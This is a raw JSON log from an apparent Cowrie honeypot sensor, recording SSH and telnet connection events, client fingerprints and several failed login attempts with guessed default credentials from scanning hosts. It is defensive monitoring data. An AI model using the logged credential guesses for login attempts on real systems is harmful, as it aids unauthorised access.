{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:50.036043Z","src_ip":"103.172.20.218","session":"aec7e7c48d91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.74649930000305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:50.348297Z","src_ip":"51.38.143.2","session":"9172bbdcc3cd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:50.971384Z","src_ip":"103.172.20.218","session":"aec7e7c48d91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":52344,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2fd23677fa6","protocol":"telnet","message":"New connection: 51.38.143.2:52344 (159.203.135.109:23) [session: b2fd23677fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:51.801703Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:52.198032Z","src_ip":"103.172.20.218","session":"aec7e7c48d91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":52358,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d7a9ea68a02","protocol":"telnet","message":"New connection: 51.38.143.2:52358 (159.203.135.109:23) [session: 4d7a9ea68a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:54.442425Z"}
{"eventid":"cowrie.session.closed","duration":31.255375623703003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:55.117284Z","src_ip":"51.38.143.2","session":"0544ad224cbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":52372,"dst_ip":"159.203.135.109","dst_port":23,"session":"357b4aafe79b","protocol":"telnet","message":"New connection: 51.38.143.2:52372 (159.203.135.109:23) [session: 357b4aafe79b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:55.220258Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":58264,"dst_ip":"159.203.135.109","dst_port":23,"session":"88df31a3d5c3","protocol":"telnet","message":"New connection: 51.38.143.2:58264 (159.203.135.109:23) [session: 88df31a3d5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:55.617899Z"}
{"eventid":"cowrie.session.closed","duration":30.638285875320435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:56.547108Z","src_ip":"51.38.143.2","session":"627b37e75fc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":58278,"dst_ip":"159.203.135.109","dst_port":23,"session":"8565b35e5b36","protocol":"telnet","message":"New connection: 51.38.143.2:58278 (159.203.135.109:23) [session: 8565b35e5b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:56.559532Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":58282,"dst_ip":"159.203.135.109","dst_port":23,"session":"e461855b0462","protocol":"telnet","message":"New connection: 51.38.143.2:58282 (159.203.135.109:23) [session: e461855b0462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:56.691651Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":58284,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f0da67e695a","protocol":"telnet","message":"New connection: 51.38.143.2:58284 (159.203.135.109:23) [session: 8f0da67e695a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:58.276258Z"}
{"eventid":"cowrie.session.closed","duration":30.683449745178223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:58.374756Z","src_ip":"51.38.143.2","session":"0874c25976ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.542844772338867,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:58.378779Z","src_ip":"51.38.143.2","session":"a822f2a65744","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.342307090759277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:58.740247Z","src_ip":"51.38.143.2","session":"def7fdf6f1b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33730959892273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:59.333817Z","src_ip":"51.38.143.2","session":"d69afdcabcd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":58298,"dst_ip":"159.203.135.109","dst_port":23,"session":"8db62959faeb","protocol":"telnet","message":"New connection: 51.38.143.2:58298 (159.203.135.109:23) [session: 8db62959faeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:59.866682Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":58302,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0ef43ef35c7","protocol":"telnet","message":"New connection: 51.38.143.2:58302 (159.203.135.109:23) [session: a0ef43ef35c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:02.213586Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":58312,"dst_ip":"159.203.135.109","dst_port":23,"session":"46d20a71cef7","protocol":"telnet","message":"New connection: 51.38.143.2:58312 (159.203.135.109:23) [session: 46d20a71cef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:02.671059Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":58316,"dst_ip":"159.203.135.109","dst_port":23,"session":"29067e5da97a","protocol":"telnet","message":"New connection: 51.38.143.2:58316 (159.203.135.109:23) [session: 29067e5da97a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:03.825458Z"}
{"eventid":"cowrie.session.closed","duration":31.12340545654297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:04.399437Z","src_ip":"51.38.143.2","session":"cfbc3cbd598a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":59018,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3694b0fa535","protocol":"telnet","message":"New connection: 51.38.143.2:59018 (159.203.135.109:23) [session: a3694b0fa535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:06.235260Z"}
{"eventid":"cowrie.session.closed","duration":31.123841762542725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:06.364246Z","src_ip":"51.38.143.2","session":"a85f1011dca3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":59022,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae95f0aa0c95","protocol":"telnet","message":"New connection: 51.38.143.2:59022 (159.203.135.109:23) [session: ae95f0aa0c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:06.546868Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":59034,"dst_ip":"159.203.135.109","dst_port":23,"session":"353998ceb200","protocol":"telnet","message":"New connection: 51.38.143.2:59034 (159.203.135.109:23) [session: 353998ceb200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:08.471910Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":59044,"dst_ip":"159.203.135.109","dst_port":23,"session":"164a4f921134","protocol":"telnet","message":"New connection: 51.38.143.2:59044 (159.203.135.109:23) [session: 164a4f921134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:10.640326Z"}
{"eventid":"cowrie.session.closed","duration":30.900042057037354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:11.488192Z","src_ip":"51.38.143.2","session":"c15bebed3504","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.663316011428833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:11.492522Z","src_ip":"51.38.143.2","session":"2ac0a5d194ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":59046,"dst_ip":"159.203.135.109","dst_port":23,"session":"a460647dafc4","protocol":"telnet","message":"New connection: 51.38.143.2:59046 (159.203.135.109:23) [session: a460647dafc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:12.223761Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":59050,"dst_ip":"159.203.135.109","dst_port":23,"session":"abfbaea2fa7c","protocol":"telnet","message":"New connection: 51.38.143.2:59050 (159.203.135.109:23) [session: abfbaea2fa7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:12.618032Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":59052,"dst_ip":"159.203.135.109","dst_port":23,"session":"425777a54511","protocol":"telnet","message":"New connection: 51.38.143.2:59052 (159.203.135.109:23) [session: 425777a54511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:12.623134Z"}
{"eventid":"cowrie.session.closed","duration":30.8864266872406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:12.710510Z","src_ip":"51.38.143.2","session":"9bed5a47ac96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":59058,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bd44f755c10","protocol":"telnet","message":"New connection: 51.38.143.2:59058 (159.203.135.109:23) [session: 9bd44f755c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:13.677785Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":59062,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2585064d2c9","protocol":"telnet","message":"New connection: 51.38.143.2:59062 (159.203.135.109:23) [session: e2585064d2c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:13.804460Z"}
{"eventid":"cowrie.session.closed","duration":30.692046880722046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:14.374011Z","src_ip":"51.38.143.2","session":"1020961bc682","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.810532093048096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:14.609759Z","src_ip":"51.38.143.2","session":"297993c94a82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":33210,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb2a59304420","protocol":"telnet","message":"New connection: 51.38.143.2:33210 (159.203.135.109:23) [session: bb2a59304420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:16.624130Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":33218,"dst_ip":"159.203.135.109","dst_port":23,"session":"a12067e2f6fe","protocol":"telnet","message":"New connection: 51.38.143.2:33218 (159.203.135.109:23) [session: a12067e2f6fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:18.602695Z"}
{"eventid":"cowrie.session.closed","duration":31.247413873672485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:18.977702Z","src_ip":"51.38.143.2","session":"8d7624b84616","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":33222,"dst_ip":"159.203.135.109","dst_port":23,"session":"43a8d0def402","protocol":"telnet","message":"New connection: 51.38.143.2:33222 (159.203.135.109:23) [session: 43a8d0def402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:19.046157Z"}
{"eventid":"cowrie.session.closed","duration":30.831871271133423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:19.456088Z","src_ip":"51.38.143.2","session":"8356fd3d0df2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58524489402771,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:22.386846Z","src_ip":"51.38.143.2","session":"b2fd23677fa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.910759210586548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:25.353056Z","src_ip":"51.38.143.2","session":"4d7a9ea68a02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.246453762054443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:25.466594Z","src_ip":"51.38.143.2","session":"357b4aafe79b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.079066514968872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:26.696840Z","src_ip":"51.38.143.2","session":"88df31a3d5c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":26343,"dst_ip":"159.203.135.109","dst_port":22,"session":"66e2afe9f967","protocol":"ssh","message":"New connection: 223.197.186.7:26343 (159.203.135.109:22) [session: 66e2afe9f967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:26.922943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:26.927769Z","src_ip":"223.197.186.7","session":"66e2afe9f967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":56560,"dst_ip":"159.203.135.109","dst_port":23,"session":"479214354d1b","protocol":"telnet","message":"New connection: 51.38.143.2:56560 (159.203.135.109:23) [session: 479214354d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:27.032358Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:27.149896Z","src_ip":"223.197.186.7","session":"66e2afe9f967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.825286626815796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:27.384695Z","src_ip":"51.38.143.2","session":"8565b35e5b36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.809607982635498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:27.501173Z","src_ip":"51.38.143.2","session":"e461855b0462","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":56566,"dst_ip":"159.203.135.109","dst_port":23,"session":"647efd33d54c","protocol":"telnet","message":"New connection: 51.38.143.2:56566 (159.203.135.109:23) [session: 647efd33d54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:27.668610Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"innocent","message":"login attempt [root/innocent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:28.066500Z","src_ip":"223.197.186.7","session":"66e2afe9f967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:29.283770Z","src_ip":"223.197.186.7","session":"66e2afe9f967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.109781503677368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:29.385899Z","src_ip":"51.38.143.2","session":"8f0da67e695a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43626,"dst_ip":"159.203.135.109","dst_port":22,"session":"f63cea701fa5","protocol":"ssh","message":"New connection: 159.203.92.129:43626 (159.203.135.109:22) [session: f63cea701fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:30.024493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:30.030217Z","src_ip":"159.203.92.129","session":"f63cea701fa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:30.036404Z","src_ip":"159.203.92.129","session":"f63cea701fa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"hello","message":"login attempt [admin/hello] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:30.049632Z","src_ip":"159.203.92.129","session":"f63cea701fa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.520976066589355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:30.387542Z","src_ip":"51.38.143.2","session":"8db62959faeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":56570,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c7867120325","protocol":"telnet","message":"New connection: 51.38.143.2:56570 (159.203.135.109:23) [session: 0c7867120325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:30.725620Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":56578,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a0210815b0a","protocol":"telnet","message":"New connection: 51.38.143.2:56578 (159.203.135.109:23) [session: 0a0210815b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:30.912495Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:31.055546Z","src_ip":"159.203.92.129","session":"f63cea701fa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":56588,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2b56f64bcbb","protocol":"telnet","message":"New connection: 51.38.143.2:56588 (159.203.135.109:23) [session: b2b56f64bcbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:32.385972Z"}
{"eventid":"cowrie.session.closed","duration":31.129733085632324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:33.342960Z","src_ip":"51.38.143.2","session":"a0ef43ef35c7","protocol":"telnet"}
